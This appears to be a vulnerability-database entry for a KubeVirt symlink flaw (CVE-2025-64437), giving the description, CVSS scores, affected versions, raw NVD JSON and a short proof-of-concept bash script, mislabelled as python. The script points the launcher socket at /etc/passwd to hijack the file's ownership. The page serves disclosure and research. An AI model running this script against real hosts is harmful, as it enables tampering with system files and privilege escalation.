Security Vulnerability Report
中文
CVE-2025-64437 CVSS 5.0 MEDIUM

CVE-2025-64437

Published: 2025-11-07 23:15:46
Last Modified: 2025-11-25 17:16:45

Description

KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:* - VULNERABLE
cpe:2.3:a:kubevirt:kubevirt:1.6.0:*:*:*:*:kubernetes:*:* - VULNERABLE
KubeVirt < 1.5.3
KubeVirt >= 1.6.0 AND < 1.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-64437 PoC - KubeVirt symlink exploitation # This PoC demonstrates how to exploit the symlink vulnerability # in KubeVirt's virt-handler to change ownership of arbitrary files TARGET_FILE="/etc/passwd" # Target file to change ownership LAUNCHER_UID=107 # virt-launcher user UID SOCKET_PATH="/var/run/kubevirt-private/$(hostname)/launch-sock" # Step 1: Create a symlink from socket path to target file echo "[*] Creating symlink: $SOCKET_PATH -> $TARGET_FILE" ln -sf $TARGET_FILE $SOCKET_PATH # Step 2: Wait for virt-handler to process the socket echo "[*] Waiting for virt-handler to follow symlink..." sleep 5 # Step 3: Verify if ownership was changed echo "[*] Checking ownership of $TARGET_FILE" ls -la $TARGET_FILE # Expected result: File ownership changed to UID 107 (virt-launcher) # This allows privilege escalation by making files writable by low-privilege user

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64437", "sourceIdentifier": "[email protected]", "published": "2025-11-07T23:15:46.147", "lastModified": "2025-11-25T17:16:45.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "KubeVirt is a virtual machine management add-on for Kubernetes. In versions before 1.5.3 and 1.6.1, the virt-handler does not verify whether the launcher-sock is a symlink or a regular file. This oversight can be exploited, for example, to change the ownership of arbitrary files on the host node to the unprivileged user with UID 107 (the same user used by virt-launcher) thus, compromising the CIA (Confidentiality, Integrity and Availability) of data on the host. To successfully exploit this vulnerability, an attacker should be in control of the file system of the virt-launcher pod. This vulnerability is fixed in 1.5.3 and 1.6.1."}, {"lang": "es", "value": "KubeVirt es un complemento de gestión de máquinas virtuales para Kubernetes. En versiones anteriores a la 1.5.3 y 1.6.1, el virt-handler no verifica si el launcher-sock es un enlace simbólico o un archivo regular. Este descuido puede ser explotado, por ejemplo, para cambiar la propiedad de archivos arbitrarios en el nodo anfitrión al usuario sin privilegios con UID 107 (el mismo usuario utilizado por virt-launcher), comprometiendo así la CIA (Confidencialidad, Integridad y Disponibilidad) de los datos en el anfitrión. Para explotar con éxito esta vulnerabilidad, un atacante debería tener el control del sistema de archivos del pod virt-launcher. Esta vulnerabilidad está corregida en las versiones 1.5.3 y 1.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:*:*:*:*:*:kubernetes:*:*", "versionEndExcluding": "1.5.3", "matchCriteriaId": "D06A16D0-A19D-4FC9-BBB2-DD155157AD8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:kubevirt:kubevirt:1.6.0:*:*:*:*:kubernetes:*:*", "matchCriteriaId": "78254CFF-E38D-4C0A-AB4B-3F41FCBB2A3C"}]}]}], "references": [{"url": "https://github.com/kubevirt/kubevirt/commit/3ce9f41c54d04a65f10b23a46771391c00659afb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kubevirt/kubevirt/commit/8644dbe0d04784b0bfa8395b91ecbd6001f88f6b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kubevirt/kubevirt/commit/f59ca63133f25de8fceb3e2a0e5cc0b7bdb6a265", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-2r4r-5x78-mvqf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}